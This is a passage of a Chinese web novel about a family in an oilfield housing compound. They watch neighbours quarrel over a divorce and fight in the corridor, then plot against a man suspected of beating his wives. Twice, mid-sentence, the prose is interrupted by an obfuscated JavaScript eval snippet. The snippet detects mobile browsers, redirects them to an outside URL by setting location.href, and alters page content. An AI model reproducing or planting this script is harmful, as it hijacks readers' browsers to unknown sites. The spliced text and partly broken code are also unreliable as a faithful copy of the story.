可谁让,陈金花她爹是油田高级工程师呢,两个哥哥也是工程师,你说气人不气人。她和老头子都是村里出来的,亲家也是老农民,虽然当着大队支书,但这哪里比得过。 要么说这时代的人单纯,裘老太不想着拍陈金花的马屁,反而盯上了他们家。只要他们吃好的,裘老太必然要阴阳怪气两句,要多气人就有多气人。 陈金花可不惯裘老太这毛病,当即反唇相讥:“你少在这阴阳怪气。我爹是工程师怎么了,我还是工会干事呢,一个月也有四十块工资,我男人也有工作,一个月少说也有三十六,咋了,我家就三个人,一个月快八十块的工资,还吃不起一顿肉?就是天天吃你也管不着。少在这赖赖我爹,我爹要是肯帮我,我们家早去油田总部了,还能在这个破家属院?” “对啊,老陈可是高级工程师,在总部也能说得上话的。”有人小声嘀咕。 陈金花哼一声,当着方阿婆的面甩上了门,比上午林兵甩门还用力,楼都抖三抖! 姜楠对着陈金花不住地竖大拇指,门外的姜满城,觉得大家对他的态度都更和蔼了。你说说,娶个厉害媳妇就是这么牛气,不用他出手,媳妇就能搞定。 姜满城哼着歌,一步一摇地就要回家。 孙巧莲眼珠子在姜满城身上溜了一圈,扭着身子娇嗔道:“城哥,金花姐误会我婆婆了,你可得替我说两句好话。我家孩子腿抽筋,这才去要一碗骨头汤的,你可得相信我啊。”说着不忘冲姜满城眨眨眼。 姜满城赶忙往后跳了两步,双手环胸,一副大姑娘被欺负了的慌乱样儿:“别,你可离我远点儿。虽然我姜满城英俊潇洒,人见人爱,但我满心满眼都是我媳妇儿,可看不进去其他女人。再说,你家小孩腿抽不抽筋,又不关我的事儿,你对我说啥。” “回家。”陈金花打开门,冲着外面冷飕飕地喊。 “媳妇儿,我可没跟孙巧莲说啥,真的。”姜满城赶紧的进屋,一眼都没多看身后眉眼乱飞的女人。 屋里,姜楠已经一人盛了一碗骨头汤,她准备用锅里剩下的汤下面条,正在翻橱柜找挂面呢。 肉汤面条,再加几片青菜,卧个鸡蛋,那滋味...... 姜楠滋溜下口水,打开橱柜,姜满城忙制止:“骨头汤面,还是手擀面最好吃。你歇着去,我来擀面,保准让你们娘俩吃个肚圆。吃完饭再啃两瓤西瓜,那真是快活似神仙啊。” 一家人美滋滋地讨论着吃面吃瓜,隔壁的方阿婆却沉着脸,一声声数落着儿媳,仿佛刚才人前的维护全是做戏:“你说要你有啥用?下班又晚,汤也没要到,南笙、南海再抽筋可怎么办?” 孙巧莲咬着唇,摇头叹息:“妈,林大叔看得紧,林兵如今没钱了。姜满城那就是个不解风情的,看都不看我一眼,跟他使不上劲儿。” “那就再想想办法啊。”方阿婆数落完,又开始拉拢儿媳,出主意道,“如今吴大锤肯定要离婚,过两天裘向东也回来了,还有老程家的大柱子,你多跑跑,哪里抠不出钱来?!” 说完她叹口气,语重心长道:“巧莲啊,不是妈逼你,咱家三个男娃,都说半大小子吃穷老子,不扒着男人抠钱,咱们孤儿寡母的,活不下去啊。你放心,等到了地底下,我会跟鸿运解释的。你是个好女人,这不都是没办法嘛。” “妈,我知道了。”孙巧莲低下头,思索着如何一一攻破这些人。 方阿婆眼底划过一丝鄙夷,很快再次柔柔开口:“如今南山也高中毕业了,没工作就得下乡,你领导那里怎么说?松口了吗?” “妈,不行。”孙巧莲摇摇头,眼神满是疲惫,“如今都在缩减岗位,领导那里也不敢顶风作案。要不,先让南山接我的班吧,反正这个工作也是他爹的,早晚得给南山。” 方阿婆点点头,眼里精光一闪而过:“那明天你带着南山去办手续,尽快把工作让给南山。” 一直沉默的方南山适时开口,他声音柔和,眼神里满是对奶奶和母亲的关心:“奶奶,我今天刚毕业,不用这么着急。” “怎么不急。”孙巧莲抢先道,“听领导说,以后下乡会越来越严,咱们还是早点接班好。” 看着一脸正气英俊潇洒的大儿子,孙巧莲心底燃起斗志。她还有三个儿子,南山懂事孝顺,南笙和南海机灵乖巧,她不能轻易放弃。 7. 离婚与打架(一) 家属院吃饭早,晚饭吃完,天还没全黑。也是这时候天长,都六点半了,太阳还明晃晃地挂在西边。 老头儿老太太吃完饭,摇着大蒲扇,坐在树下纳凉。你一句我一句的,显摆晚上吃的大西瓜呢。还没说几句,外面乌糟糟进来一群人。定睛一看,哦豁,这不是上午的抓奸主角团,老吴一家嘛。 人群陡然间喧哗起来。大爷大妈们瞬间腰也不酸了,腿也不疼了,跳起来就往人群里挤。楼里的人听到动静,也纷纷打开门往外跑,百年一遇的大热闹,错过了多可惜。 “大锤啊,你这动刀子了,没被关起来?”这是看热闹不嫌事大的刘老太,属实是看什么都不顺眼,看谁都想挑拨两句的刻薄老太太了。 老程头瞪了老太婆一眼,他当年怎么就瞎眼娶了这么一个婆娘,要长相没长相,要身条没身条,要不是他当年要避事儿,也不能回村里娶了这个一个东西。 他哼一声,刘老太抿抿嘴,不敢再开口,却使劲儿伸着脖子往里瞧。有那看不起范桃花的,见这女人也跟着一块儿回来,开口讽刺道:“哎呦,范桃花,你怎么还有脸回来?去找你那奸夫啊,我们一号院可要不起你这个破鞋。” “老娘跟吴大锤早离婚了,什么破鞋,裘老太你说话小心点,要是让我再听见不好听的,我可去GWH告你去。”范桃花彻底摆烂,见谁攻击谁,不过还知道为了几个孩子着想,将自己跟吴大锤的关系模糊掉,“我俩上个月就离婚了,离婚后他就出车去了,这不才回来。我今儿收拾收拾就走,你们可别想往我身上泼脏水。” 吴大锤阴沉着一张脸,却没开口反驳。范桃花太了解吴大锤了,知道这么说,他绝对不会反驳。男人啊,都要个面子,是离婚后前妻偷人好听,还是老婆背着他偷人好听?吴大锤个没种的,肯定会选前者啊。 “什么离婚,我们咋没听说。你可别想糊弄人。”裘老太不依不挠。他儿子可是副队长,范桃花这货妖妖娆娆的,在楼里转悠个不停,哪天引诱她儿子犯了错可咋整?要么说裘老太爱脑补呢,一会儿对照组,一会儿勾引她儿子的。她儿子裘向东在钻井队干活,经常在井上值班,都不怎么着家,老太太也疯狂给儿子加戏,也是没谁了。 “怎么,我家啥事都得给你说啊,你是我家什么人啊,脸这么大。”范桃花扯着脖子叫嚷,“我们可说好了,两个孩子归吴大锤。大家伙儿可得帮忙看着,俗话说有了后娘就有了后爹,可不能让两个孩子受苦。” “你咋不带走孩子?”刘老太属实是没忍住,开口后立马缩在人身后,嗯,装鹌鹑。 “我一个临时工怎么养孩子?吴大锤虽然不是东西,但是司机赚得多啊,养两个孩子不算多吧。再说孩子姓吴不姓范,我养算怎么回事儿。”范桃花虽然爱孩子,最爱的还是自己。她能为了孩子撒谎,却不会为了孩子,让自己过不好。带着孩子的寡妇不好嫁,她脑子还不糊涂。 “什么人啊,你也算是当妈的,连孩子都抛下,猪狗不如。”有疼孩子的忍不住啐了一口。 “春丽......”老吴头准备旧事重提,接收到儿子阴狠的目光,心里咯噔一下,知道再提儿子面子上过不去,只得悻悻闭嘴。 范桃花瞥见,冷笑两声,再看看人群里骂她的孙巧莲,回嘴道:“是啊,我猪狗不如,有些人却甘愿做鸡呢。说得好听是为了孩子,内里谁知道为啥呢。人呐,说别人之前先照照自己,别自己还不干净,就有闲心骂别人。” “我打死你个贱货!”孙巧莲被人说中了痛处,急得跳脚,三两步上前扇范桃花,手都举起来了,却被后面的大妈们眼疾手快地拉住。 “别跟个疯婆娘计较。” “就是,狗咬了你一口,你还要咬过去?不值当。” 范桃花呸一声:“孙巧莲,你嚎个什么。谁不知道你到处勾搭领导,不然凭啥四号楼里不是双职工,就是为厂里做过贡献的,就你一个单职工!你爷们可不是在岗位上没的,当初你咋接班的,当大家是傻子不成?!你个骚狐狸,兔子还不吃窝边草呢,你可好,生冷不忌的,我呸!还有脸说我。” 楼下叫骂声不断,趴在廊栏杆上看热闹的姜满城挑挑眉。这范桃花是临走也要恶心吴大锤啊。离婚后,吴大锤家就一个职工,占着‘豪华筒子楼’的房子,大家刚开始可能会同情,可时间久了肯定有意见。这是挑拨邻里关系呢。 不过姜满城却没放在心上,吴大锤不是啥好货,平时喝酒打老婆的,他是有病才会管他们家的闲事儿。 走廊里隐隐约约传来抽泣,一声接一声,呜呜咽咽,好不可怜。 【宿主,是吴春丽。有人说她是野种,她娘又不要她,她就一直哭。】 姜楠摇头耸肩一气呵成:“我也没办法啊,范桃花不做人,老吴头和吴大锤重男轻女,我能私下帮她,却不能总是帮啊。不然被有心人赖上就完了。小统啊,做人可以有好心,却不能烂好心,懂不懂?” 【宿主,你语气很像底下的大妈哎。】 “好你个小统,宿主我上辈子怎么也活到三十多了,岁数跟底下的大妈大婶也差不了多少。”姜楠也不生气,趴在栏杆上看得别提多起劲儿了。 不过,她很快反应过来:“吴建国呢?今儿一天都没见他。他爹妈出这么大的事儿,他去哪儿了?” 系统等了一会儿才回答,【宿主,吴建国去那几个奸夫家里砸玻璃了。】 “额。”姜楠有些无语,砸玻璃,这么幼稚的嘛,她十岁之后都不干这种事儿了,没想到吴建国一个十六七的大小伙子,想到的报仇方式就是砸玻璃? 真是,她摇摇头,没想到两个滑头的,倒生了个老实儿子。姜楠感慨了一阵儿,继续津津有味儿地看楼下的骂战。 【宿主,不是吴建国老实,是他身体不允许。】 好吧,姜楠忘了吴建国是个病秧子了。看戏,看戏。 楼下,范桃花以一敌十,舌战群大妈,毫无败相,趾高气昂,犹如得胜的大公鸡,昂着头回家收拾东西。 打好包袱,临走前恶狠狠地冲吴大锤啐了一口,转头看见姜满城,又温温柔柔地笑了,挽挽鬓边的碎发,媚眼如丝地钉了姜满城一眼:“城哥,我走了,以后......”她低下头,似乎很不好意思地笑了一下,迈开小碎步,一溜烟儿下了楼。 “哎呦我去,没看出来,这范桃花是有点儿茶艺在身上的。”姜楠感慨,僵硬地回头,额,她妈陈金花,正黑着脸站在她身后。 陈金花掐腰瞪眼:“怎么,你娘就是那傻的?看不出这明晃晃的挑拨?” 可还真有人看不出来,吴大锤此时可是最敏感的时候,看到这里哪里还绷得住,黑着脸,扬手就要揍姜满城。比铁锤还粗的拳头一阵风一样袭来,还没到姜满城面前,就被陈金花一把握住。 陈金花双眼冒火:“你打一个试试?!” 姜满城立刻缩到媳妇儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15236754|166133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身后,一副小生怕怕的样子,虚弱地开口:“金花,大锤欺负我,你可得替我做主。” 众人:啊,你这咋说出口的?脸呢,就问你脸呢? 姜满城:脸是什么,能吃还是能喝? 他继续冲击着油田老爷们儿的三观:“金花,我心里都是你,可从来都看不上其他女人的。在楼里,我可从没跟其他女人说过话,你可得相信我。” 姜楠:她时常因为不如老爸脸皮厚而羞愧。她给广大穿越女丢脸了啊。 陈金花,就,很吃这一套,握着吴大锤的手都更有劲儿了。 吴大锤,这手咋越来越疼了,他龇牙咧嘴,但大男人,要面儿。再疼,他也不叫唤,就不。 有那看热闹不嫌事儿大的,挑拨道:“姜满城,看不出来,你这吃软饭的也偷腥呢。” “那可保不准,不然为啥范桃花不跟别人哔哔,就给他抛媚眼儿呢。我看事情不简单。” 姜满城闲闲瞥了眼说话的两人,嗯,裘大妈和老程头的儿子程大柱,他记住了。不过姜满城报仇从来不在明面儿上,而是偷偷摸摸,任谁也猜不到是他的那种。他也不理裘大妈,只问程大柱:“大柱哥,你跟范桃花挺熟啊?你说别人都不知道范桃花咋想的,就你知道。你说说,她为啥给我抛媚眼?” “我怎么知道。”程大柱愤愤,瞥见吴大锤杀人般的眼神,赶忙道,“我跟范桃花一点儿也不熟,你少在这里诬赖人。” “哦,不熟啊。”姜满城将音调拔得高高的,不疾不徐道,“不熟你怎么还替她说话?大家邻里邻居的,谁不知道我从来不跟她说话的?倒是你......” 他啧啧两声,不再开口。人群里有那脑子灵活的,嘿嘿笑了起来,惹得程大柱抖着手指着姜满城,声音里带着几分气急败坏:“你......你......” “你看看你,急什么。”姜满城像是被吓到了,又往陈金花身后躲了躲,“清者自清嘛,怎么,你心虚啊?不就是跟范桃花在屋里说过几句话,二十分钟的功夫,干不了啥吧?大家都看到了的,我们相信你。” “啊!” 吴大锤疯了一样挣脱陈金花的钳制,一个箭步冲到程大柱跟前,拳头风一样挥了过去。程大柱顺势一躲,他好歹是抡大勺炒菜的,力气也不差,同样一拳挥过去。两人你给我一拳,我踢你一脚,没多久就双双倒在地上。就这,还不忘滚来滚去,挥拳踢脚的。 “我打死你个不要脸的老鳏夫!” “吴大锤,你疯了!别人说啥你都信,怪不得你老婆偷汉子,你就是脑子有病!” 要么说打人不打脸,说人不说短呢,程大柱这句话喊出来,吴大锤那是彻底疯了啊,一个反身骑在程大柱身上,大耳瓜子呼呼地往程大柱脸上招呼。 “让你打我儿子,让你打我儿子!” 刘老太嗷一嗓子,上手就薅住吴大锤的头发,唰唰唰的,那速度快的,都挥出残影儿了,没几下就薅下来一大把头发。 吴大锤躲避不及,被程大柱翻身压了下去,同样是几个大耳瓜子招呼。 老吴头也只这一个儿子,见独子被人这么欺负,哪里还忍得住。他三步并作两步,上前一把拽住刘老太的头发,疯了一样往外拉。战斗瞬间从三人大乱战,变成了两两互殴。 别看刘老太是女的,可也不是等着挨打的,两位老人瞬间扭作一团,嗷嗷乱叫,那声音,比旁边的中年壮劳力还大。 8. 离婚与打架(二) “小统,你说这不用花钱,就能看这么刺激的群殴,是不是很值得?”姜楠在外围踮着脚尖,目瞪口呆地看着四人大乱战。 【是的,宿主。我已经因为吃瓜吃得又多又好,被主系统多次表扬了呢。】 “那其他系统也太没见识了吧。”姜楠一边感慨,一边和父母二人往后退,这四人滚的,都快到他们家门口了啊。 “哎呦,我家的蜂窝煤!”方阿婆拍着大腿,哭喊道,“你们别打了,我家蜂窝煤都被撞碎了啊。大家快拉架,不能再打了啊。” 别看是油田,这时候还没接通天然气呢,做饭还是得靠蜂窝煤。每家每户炉灶边,都堆着蜂窝煤呢。有些困难的人家,为了省钱,还用柴呢。 姜满城本来就倚在门口看热闹,程大柱家住姜家隔壁,自然也在西边。吴大锤家在东边,要过来找两人算账,扭打在一处,可不就让西边三户遭殃了嘛,首当其冲的就是挨着楼道的方阿婆家。 “我让你撞我们家蜂窝煤。打你,打你!”方南笙、方南海两个小孩儿,小炮仗一样冲出来,对着滚在地上的四人屁股,也不管谁是谁,咣咣上去就是两脚。毕竟是小孩儿,两人也不恋战,踹完就往家跑。 以姜楠后世看过无数武侠剧的眼光来看,这场群架那是毫无技术含量,半点章法也无。但它生猛且真情实感啊,生猛到可以令人忽略技法,真情实感到让人时刻关注四人的表情。 啧啧啧。 就是让人忍不住想看。 姜楠再后退两步,这凶残程度,被殃及池鱼就遭了。没见她爹那个狡猾的,已经躲门后去了嘛。饶是如此,也一跳一跳地坚持看呢。 也是个,坚强的老热闹人了。 陈金花站在人群中,一阵儿无语,她家这爷俩儿,该躲的不躲,不该躲的倒是比谁躲得都快。她退出人群,对姜楠道:“小楠,进屋去看。你脚受伤了,别被踩到。” “哦。”姜楠一步三回头,磨磨蹭蹭来到姜满城旁边,和老父亲一起趴在门边,坚持不懈地往外看。 就是,不想错过一点儿。 “大家别光看着,快拉开。”楼长曹老太难得的没有择菜,冷着脸上楼,抬手点人,那气势拿捏得死死的,“小隋,小魏,金花,别光看着,去拉架。这走廊里又是蜂窝煤又是锅灶的,要是哪家菜刀没收好,可不得出人命。快,拉架。” 围观众人抽了抽嘴角,谁家做完饭不收菜刀啊。那可又是票又是钱买的,可不便宜呢。 不过曹老太平时人热心,处事又公道,在楼里还是有几分面子的。被点到的三人对望一眼,陈金花二话不说冲着吴大锤和程大柱而去,也不知怎么动作的,三两下就把两个大男人分开了。 小隋和小魏见机,也很快分开了老吴头和刘老太。 曹老太叉着腰,开始教训人:“你们一个个的,多大个人了,还打群架,像话嘛!老刘,老吴头,你们都是做老人的了,就不能给年轻人做个榜样?!这么大年纪了,还打架,知不知羞耻?还有你,大锤,你今儿出事,大家都很同情你,但你不能把火儿发在邻居身上啊。” 刘老太打红了眼,哪里听得进去,她往地上一坐,双腿使劲前后扒拉着地面,胳膊一下下拍着大腿,不住地哭嚎。那个伤心呦,比小寡妇上坟还令人难受。 当然,人家小寡妇是真的伤心。刘老太,这纯属是让围观的人难受。 “欺负人啦,我家大柱就看个热闹,这就被人揍了啊。曹大姐,你可得为我们家做主啊。他吴大锤被人戴了绿帽儿,可也不能见谁都揍啊。他要是这样,以后这邻里邻居的,还过不过了?他要是看谁不顺眼就揍谁,我们可不敢跟他们家住邻居了啊。” 还别说,刘老太虽然嘴巴坏,说的话倒是让人听进去了。大男人遭受这种刺激,是难受,难堪,但你不能拿别人撒气啊。 额,程大柱可能没那么无辜,但围观群众觉得他们是无辜的啊。 “老吴头,你可得管着点儿你家大锤。他本来就长得壮,这要是发疯打人,我们可招架不住。” “就是,我们可跟范桃花没关系,大锤你不能好赖不分啊。” 曹老太暗地里撇撇嘴,她可不相信程大柱无辜。可她是楼长,打架的事儿还得处理,她拔高音调,怒吼道:“行了!” 这一嗓子下去,人群安静不少。曹老太以前是村里的‘女喇叭’,专管跑腿儿传话的,嗓子格外高亮。 见功力不减当年,曹老太心内得意,对着刘老太教育道:“今儿大锤打人,是他不对。可你也薅了人家头发,你看看,后面都被你薅秃了,你要是再揪着不放,我可要谈谈去医院治病的事儿了。老程头,你说是不是这个道理?” 老程头平时在家万事不管,只等着老婆子伺候。之前见老太婆上去帮儿子,他自然乐得袖手。如今被问到面前,他心里琢磨了下,自家并没有吃亏,笑着点头:“曹大姐,您放心,我会管好我家这几个的。” 曹老太满意点头,又面向吴大锤父子,语重心长道:“大锤,看在你今天情有可原的份儿上,就不跟你计较那么多了。但你以后可不准跟邻居打架,知道吗?” 老吴头见儿子梗着脖子不说话,知道不能再这么犟下去,马上堆起笑,点着头道:“曹大姐,您说的对,我家大锤以后肯定不打架,您就放心吧。”今儿他儿子可是把程大柱揍得不轻,要是计较起来不定谁吃亏呢,他老吴头可不傻。 一场热闹就要散去,方阿婆及时开口诉苦:“曹大姐,我家可是无辜的啊。您看看我家这蜂窝煤,都被撞碎了啊。这不得赔我们家吗?” “额。”曹老太一脸头疼,看看打架的四人,都低着头假装没听见的样子。她无法,只得去看方家的炉灶。好家伙,十几斤的蜂窝煤倒在地上,碎成了渣渣。 “这样,你们两家一人赔一半,方家碎掉的蜂窝煤你们两家平分,怎么样?”曹老太揉揉额头,她这一天天的,楼长不好当啊。 “那......那煤渣也是我们家的......”方阿婆想再争辩两句,见曹老太要发火儿,悻悻地闭了嘴。 哼,煤渣虽然能用,但她可不能因小失大,还是赔偿完整的蜂窝煤最重要。况且,方阿婆自私地想,她的人设里可没有胡搅蛮缠这一项。她就是卖惨,博取别人的同情,可不会胡搅蛮缠,破坏她柔弱的形象。 剩下就是赔偿扯皮了,老吴头说是程大柱撞的,程大柱说是吴大锤撞的,几人又是一顿疯狂输出。各自攻击对方身体器官及祖宗十八代,终于在曹老太的狮子吼下,按照最初的提议赔偿。 曹老太也是很不容易了,跟前世的乙方设计师似的,不论甲方提了多少建议,最后定的,往往都是初稿。 姜满城满意地关上门,谄笑着走到媳妇儿陈金花身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15236755|166133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后,狗腿地替媳妇儿揉肩膀按摩,活似一个新时代假太监。 哦,不,旧时代真太监。 他狗腿地说:“金花你真是深明大义,火眼金睛,一眼就看穿了阴险小人的算计,还武力超群,救小生于水火,可真是家里的顶梁柱啊。要么说我当初一眼就相中了你呢,媳妇儿你真是太英明神武了。这不,咱生的闺女都比一般人聪明。” 姜满城一车轱辘的讨好话,说得陈金花嘴角微微翘起。她轻咳一声,说:“好了,今儿一天可够热闹的,早点儿洗漱睡觉。” 走廊里看热闹的人也散的差不多了。这年头没电视没手机的,大家普遍歇的比较早。很快,一阵乒乒乓乓地水流和杯子碰撞台面的声音,随后,楼里渐渐安静下来。 姜楠蹑手蹑脚地打开门,和姜满城一前一后出了家门。两个西瓜而已,姜楠自认为很容易就抱回来了,根本不需要她爸跟着。可姜满城不放心啊,大晚上的,他闺女还受了伤,怎么能一个人出门。 两人鬼鬼祟祟下了楼,很快直起身子,大踏步往前走。 这贼,不好当啊。 额,他们好像也不是做贼,就是买点儿东西而已,怎么跟做贼似的。 白白做贼二人组悄么悄地进了供销社后门,路上遇见其他人,也全当没看见。大家懂的都懂,这种事,张扬不得。 供销社正堂的灯都关了,只东西两个小侧间开着灯。姜楠带着她爸,来到惯常去的东侧间。 屋内,成美娟和另两个售货员大姐坐在长椅上,守着身后小小的西瓜摊儿,正边嗑瓜子儿边唠嗑呢。成美娟见到姜楠进来,起身小声道:“一人只能多买两个。没办法,西瓜要的人多,空不出来。” 姜楠了然地点点头,西瓜不算贵,又解暑,大夏天的谁不想吃两口。就是那困难的人家,也能咬紧牙关买上一两次。 她偷偷将票和钱塞进成美娟裤兜里,不忘开口恭维:“你这也不容易,这么晚了还得守着。” 成美娟笑笑,虽然和姜楠父女是唠嗑认识的,但这两人懂规矩,每次都在定价的基础上提一成,算是出手大方的了,大家也都乐意跟这俩人‘交换’。 别小看这一成,多少人占了便宜还不想给钱呢,姜楠父女属实是很仗义了。 而且守着算什么辛苦,能过来‘交换’的,多是有点儿门路的人家,多认识些人,以后路也好走不是。这个成美娟可是很懂的。 她摸摸裤兜,抬头冲姜满城歉意地笑笑,拉着姜楠来到另两位售货员身边,小声道:“我这妹子,跟那个孙玲玲相亲的男人,好像叫林兵,对,林兵,她跟林兵住一个楼。” “哎呦。”其中一个大姐一拍大腿,攥着姜楠的手不放,“大妹子,你快讲讲,孙玲玲是不是去你们楼里闹事儿了?咋闹的,快说说。” “对啊,快说说。我跟你说,我们住孙玲玲楼上,对孙玲玲可是清楚得很。我跟你说,可不能让她骗了那个小伙子。” “就是,孙玲玲跟那个放映员小年,不清不楚多少年了,我们楼里谁不知道啊。” 见实在是挣不开,姜楠只得回头冲她爸笑笑,小声道:“爸,你先抱着西瓜回去,我说两句话就回家。” 姜满城耸耸肩,他也想听八卦啊,可一帮子年轻的女同志,他一个年近中年的大男人,只得任劳任怨地抱起大西瓜,老黄牛一般地往家属院挪。 9. 报仇与对照组 姜满城走了,屋里没了其他人,一时又没人进来,姜楠没了顾忌,将下午孙玲玲大闹家属楼的事情讲了。成美娟三人惊呼连连,跟没见过世面的小猹一样。哪儿像她姜楠,从小在瓜田长大,都是吃撑的老猹了。 姜楠骄傲地挺了挺胸,听红上衣的售货员大姐爆料:“我跟你们说,孙玲玲她爹出车回来了!说是要把孙玲玲嫁给老尤呢。” “妈呀。”另一个土黄色上衣的大姐惊呼,“那老尤都快四十了吧?孙玲玲也才二十多,她爹可真够狠的。” “谁让两人是同事呢。”红上衣大姐拍着大腿,那力度,跟不是自己的腿一样,看得姜楠都忍不住抖了抖,“我跟你们说,你们可别告诉别人!” 她瞄了一眼众人,一副我什么都知道的表情,见三人都很上道地点头,这才施恩般开口:“那老尤可是死了三个老婆的!我跟你们说,老尤可是个狠的,我和家里那口子都怀疑,他那些老婆,都是他打死的!” 成美娟和土黄大姐嘴巴张得能塞鸡蛋,姜楠则是心里一颤。半晌,成美娟小声道:“不能吧,他......他这算犯罪吧,要真是如此,可不能这么算了。” 红上衣大姐一脸的你怎么这么幼稚,顿了顿,又把话往回拉:“那是猜的,猜的,你懂吧?没证据的事儿,谁管?再说,那些女人的娘家都不管,咱们出什么头。你可别犯傻。” “就是。”土黄大姐反应了过来,跟着劝道,“美娟,你还年轻。这夫妻的事儿,哪里说得准?家务事最难断,不是有句老话,叫清官难断家务事。咱们说说闲话就得了,可不好管的。” 姜楠附和着说了两句,出来时心里沉甸甸的。 【宿主,你想管?】 “孙玲玲不对,可她不该遭遇家暴。”姜楠肃着脸,“应该说,没有女人该遭遇这些。那些家暴男都该死。你接通下孙玲玲的频道,看看是不是有这回事儿。” 她上午和下午都见过孙玲玲,系统肯定接通过孙玲玲的脑电波。果然,系统很快给出了答案。 【孙玲玲的父亲是说要将她嫁给老尤,可我们没见过老尤,不知道他是不是有暴力倾向。】 “那就想办法见见。”姜楠打定主意,快步回到家中。 “小楠,咋了,成美娟她们找你说啥?”姜满城套着个白色老头衫,右手拿着条白毛巾,脸上湿漉漉的,一边擦脸一边问。 “爸,你听说过一个叫老尤的吗?是个老鳏夫,说是死了三个老婆。”姜楠没打算瞒着她爸,她爸鬼主意比她多,很多事儿还得她爸想办法呢。 “你怎么问起这个人?”陈金花也擦着脸出来,语气里满满都是不屑,“他可不是啥好人。你别跟他接触。” “妈,你知道?”姜楠三两步来到陈金花面前,眼睛亮晶晶的盯着她妈。 “妈在工会,认识的人可比你爸多。”陈金花骄傲道。 “我可是在档案室,咱作业处谁的档案我没看过?”姜满城不服,抢先开口,“老尤嘛,全名尤爱钱,今年三十七岁,在油田特车二队开特种车,死了三个媳妇,目前还没再婚。” “切,你这都是书面材料。我可见过老尤这个人。”陈金花昂着头,睥睨了姜满城一眼,“他第三个媳妇来找过妇联,我们工会也去调解了。小媳妇哭诉老尤打她,不过老尤很快带着老丈人过来,他老丈人赔罪说一切都是误会,工会和妇联不好多管。不过我看老尤不像个善茬,说不定真打老婆呢。他老丈人明显收了好处,不管闺女死活。” 姜楠心里有了数,将成美娟同事的话告诉了父母二人。陈金花最是嫉恶如仇,脾气又火爆,当即一拍桌子,骂了句脏话。 姜满城则是情绪一如既往的稳定,他搔搔下巴,认真道:“小楠,你想达到什么目的?是让孙玲玲不嫁给老尤,还是让老尤坐牢?” “让老尤坐牢。”姜楠语气坚定,“这种人,不能逍遥法外。这种家暴的男人,就不该存在。” 姜满城点点头,小声道:“这样,你明儿早上去各厂子溜达的时候,顺便去趟特车队。那老尤左脸上有颗黑色的大痦子,很好认的,你看看他有什么秘密,明天我们再合计合计怎么办。” 这种算计人的事,向来是听姜满城的,三人嘀嘀咕咕一阵儿,很快各回各屋,睡觉去也。 只是月上三更时分,姜满城和陈金花偷偷起床,蹑手蹑脚地打开门,在走廊里一顿腾挪转移,忙活的出了一头汗,却没发出一点儿声音。 姜满城上辈子是太监,早习惯做任何事不发出声音,陈金花练过功夫,自然懂得如何放轻脚步。两人无声地笑了下,回家继续睡觉。 打架这事儿,别人过去了,他家还没过去呢。 翌日清晨,筒子楼众人在刘老太和方阿婆的争吵声中醒来。 “好你个姓方的,我们家都赔了蜂窝煤了,你还来偷!真是看不出来,平时装得好人似的,没想到竟是个贼!”刘老太犹如尖叫鸡,高亢的女高音,划破了筒子楼的宁静。 “刘大姐,你不能这么冤枉人。我这是有嘴也说不清啊,这煤真不是我家偷的。”方阿婆震惊地看着自家多出来的煤,捂着脸分辨。 证据在前,刘老太可听不进去。昨儿赔了蜂窝煤,她心里就不舒坦,今儿出了这事儿,这不就能赖掉了?!刘老太可不会错过这个机会。 她说:“不是你家偷的,我家的煤怎么到你家去了?老吴头,你出来,你家煤也少了,肯定也是被人偷的。快出来,抓贼了!大家快出来抓贼了!方阿婆家偷了蜂窝煤啊。大家看看,是不是偷了?还想狡辩,大家看看,证据摆在这儿呢,不是她还能是谁?谁大晚上没事做,把煤往她家搬?” “这......”方阿婆眼珠子转了转,苦着脸就是不认,“真不是我家。你没凭没据的,可不能这么诬赖人。这是不给我家活路啊。” 门口的方南山倒是无意地瞥了眼姜家的方向。他不傻,今天闹矛盾的几家,昨天可都得罪了姜家。不过......他眼珠子转了转,目前还不能得罪陈金花,至少明面上不能。他看了眼叉腰怒骂的刘老太,又望向了裘家的方向,无声地笑了笑。 姜满城躺在床上,笑着伸个懒腰,嗯,舒坦。方阿婆恶心他闺女,程大柱昨天说酸话,吴大锤竟然还想揍他。虽然都没造成啥后果,但也恶心人了啊。他小小回报一下,一箭三雕,连报复都算不上,顶多就是恶作剧而已,便宜这几家了。至于裘大妈,以后再说,肯定少不了她的。 笑容之后,姜满城摇头叹息,他如今已经沦落到恶作剧了。哎,用不上以前那些手段,还有些小失落呢。 陈金花切一声,一骨碌爬起床,穿衣梳头,嘴角却也噙着一抹笑。姜楠更是哼着歌儿去上厕所。 一家三口的好时光,又开始了。 走廊里继续传来方阿婆、刘老太和老吴头的争吵声,间或夹杂着邻居们的询问和和稀泥。一家三口就着热闹,很快地洗漱好。姜满城做早饭,陈金花扫地。是的,姜家习惯大早上扫地。姜楠坐到餐桌前,宣布准备听她娘陈金花的,上午去各厂子里转转。万一呢,是吧。瞎猫碰上死耗子的事儿,虽然是小概率,真遇见可就改变命运了。 而且她还要去特车队呢,她可是带着任务的。 饭桌上,姜满城打开收音机,调到歌曲频道,美滋滋吃起早饭。新时代就是好,随时随地都能听曲儿,都不用养戏班子,上哪儿找这好事儿去,你说说。 要问为啥昨天吃早饭不听收音机?那不是昨天上午太热闹了嘛,林兵竟然要去相亲,多难得,一家子光说闲话就够乐呵了。 